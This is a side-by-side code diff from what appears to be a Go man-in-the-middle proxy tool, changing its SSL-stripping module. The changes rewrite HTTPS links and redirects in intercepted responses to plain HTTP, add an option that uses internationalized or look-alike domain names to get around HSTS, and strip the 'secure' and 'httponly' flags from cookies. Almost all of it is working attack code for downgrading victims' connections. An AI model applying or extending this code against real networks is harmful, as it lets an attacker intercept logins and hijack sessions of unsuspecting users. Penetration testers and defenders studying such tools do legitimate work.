log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost)) log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost))
// if we still did not reach max redirections, strip the URL down to // strip the URL down to an alternative HTTP version and save it to an ASCII Internationalized Domain Name
// an alternative HTTP version strippedURL := s.processURL(newURL)
if !s.isMaxRedirs(origHost) { parsed, _ := url.Parse(strippedURL)
strippedURL := s.processURL(newURL) hostStripped := parsed.Hostname()
u, _ := url.Parse(strippedURL) hostStripped, _ = idna.ToASCII(hostStripped)
hostStripped := u.Hostname() s.hosts.Track(newHost, hostStripped)
s.hosts.Track(origHost, hostStripped) res.Header.Set("Location", strippedURL)
res.Header.Set("Location", strippedURL)
}
} }
} }
} }
@ -352,9 +277,9 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
urls := make(map[string]string) urls := make(map[string]string)
matches := httpsLinksParser.FindAllString(body, -1) matches := httpsLinksParser.FindAllString(body, -1)
for _, u := range matches { for _, u := range matches {
// make sure we only strip stuff we're able to // make sure we only strip valid URLs
// resolve and process if parsed, _ := url.Parse(u); parsed != nil {
if strings.ContainsRune(u, '.') { // strip the URL down to an alternative HTTP version
urls[u] = s.processURL(u) urls[u] = s.processURL(u)
} }
} }
@ -368,18 +293,25 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host)) log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host))
} }
for url, stripped := range urls { for u, stripped := range urls {
log.Debug("Stripping url %s to %s", tui.Bold(url), tui.Yellow(stripped)) log.Debug("Stripping url %s to %s", tui.Bold(u), tui.Yellow(stripped))
body = strings.Replace(body, url, stripped, -1) body = strings.Replace(body, u, stripped, -1)
hostOriginal := strings.Replace(url, "https://", "", 1) // save stripped host to an ASCII Internationalized Domain Name
hostStripped := strings.Replace(stripped, "http://", "", 1) parsed, _ := url.Parse(u)
hostOriginal := parsed.Hostname()
parsed, _ = url.Parse(stripped)
hostStripped := parsed.Hostname()
hostStripped, _ = idna.ToASCII(hostStripped)
s.hosts.Track(hostOriginal, hostStripped) s.hosts.Track(hostOriginal, hostStripped)
} }
res.Header.Set("Content-Length", strconv.Itoa(len(body))) res.Header.Set("Content-Length", strconv.Itoa(len(body)))
// fix cookies domain + strip "secure" + "httponly" flags
s.fixCookies(res)
// reset the response body to the original unread state // reset the response body to the original unread state
// but with just a string reader, this way further calls // but with just a string reader, this way further calls
// to ioutil.ReadAll(res.Body) will just return the content // to ioutil.ReadAll(res.Body) will just return the content

View file

@ -17,7 +17,7 @@ type HttpsProxy struct {
func NewHttpsProxy(s *session.Session) *HttpsProxy { func NewHttpsProxy(s *session.Session) *HttpsProxy {
mod := &HttpsProxy{ mod := &HttpsProxy{
SessionModule: session.NewSessionModule("https.proxy", s), SessionModule: session.NewSessionModule("https.proxy", s),
proxy: http_proxy.NewHTTPProxy(s), proxy: http_proxy.NewHTTPProxy(s, "https.proxy"),
} }
mod.AddParam(session.NewIntParameter("https.port", mod.AddParam(session.NewIntParameter("https.port",
@ -41,6 +41,10 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy {
"false", "false",
"Enable or disable SSL stripping.")) "Enable or disable SSL stripping."))
mod.AddParam(session.NewBoolParameter("https.proxy.sslstrip.useIDN",
"false",
"Use an Internationalized Domain Name to bypass HSTS. Otherwise, double the last TLD's character"))
mod.AddParam(session.NewStringParameter("https.proxy.injectjs", mod.AddParam(session.NewStringParameter("https.proxy.injectjs",
"", "",
"", "",
@ -81,6 +85,8 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy {
return mod.Stop() return mod.Stop()
})) }))
mod.InitState("stripper")
return mod return mod
} }
@ -106,6 +112,7 @@ func (mod *HttpsProxy) Configure() error {
var certFile string var certFile string
var keyFile string var keyFile string
var stripSSL bool var stripSSL bool
var useIDN bool
var jsToInject string var jsToInject string
var whitelist string var whitelist string
var blacklist string var blacklist string
@ -122,6 +129,8 @@ func (mod *HttpsProxy) Configure() error {
return err return err
} else if err, stripSSL = mod.BoolParam("https.proxy.sslstrip"); err != nil { } else if err, stripSSL = mod.BoolParam("https.proxy.sslstrip"); err != nil {
return err return err
} else if err, useIDN = mod.BoolParam("https.proxy.sslstrip.useIDN"); err != nil {
return err
} else if err, certFile = mod.StringParam("https.proxy.certificate"); err != nil { } else if err, certFile = mod.StringParam("https.proxy.certificate"); err != nil {
return err return err
} else if certFile, err = fs.Expand(certFile); err != nil { } else if certFile, err = fs.Expand(certFile); err != nil {
@ -160,8 +169,13 @@ func (mod *HttpsProxy) Configure() error {
mod.Info("loading proxy certification authority TLS certificate from %s", certFile) mod.Info("loading proxy certification authority TLS certificate from %s", certFile)
} }
return mod.proxy.ConfigureTLS(address, proxyPort, httpPort, doRedirect, scriptPath, certFile, keyFile, jsToInject, error := mod.proxy.ConfigureTLS(address, proxyPort, httpPort, doRedirect, scriptPath, certFile, keyFile, jsToInject,
stripSSL) stripSSL, useIDN)
// save stripper to share it with other http(s) proxies
mod.State.Store("stripper", mod.proxy.Stripper)
return error
} }
func (mod *HttpsProxy) Start() error { func (mod *HttpsProxy) Start() error {
@ -175,6 +189,7 @@ func (mod *HttpsProxy) Start() error {
} }
func (mod *HttpsProxy) Stop() error { func (mod *HttpsProxy) Stop() error {
mod.State.Store("stripper", nil)
return mod.SetRunning(false, func() { return mod.SetRunning(false, func() {
mod.proxy.Stop() mod.proxy.Stop()
}) })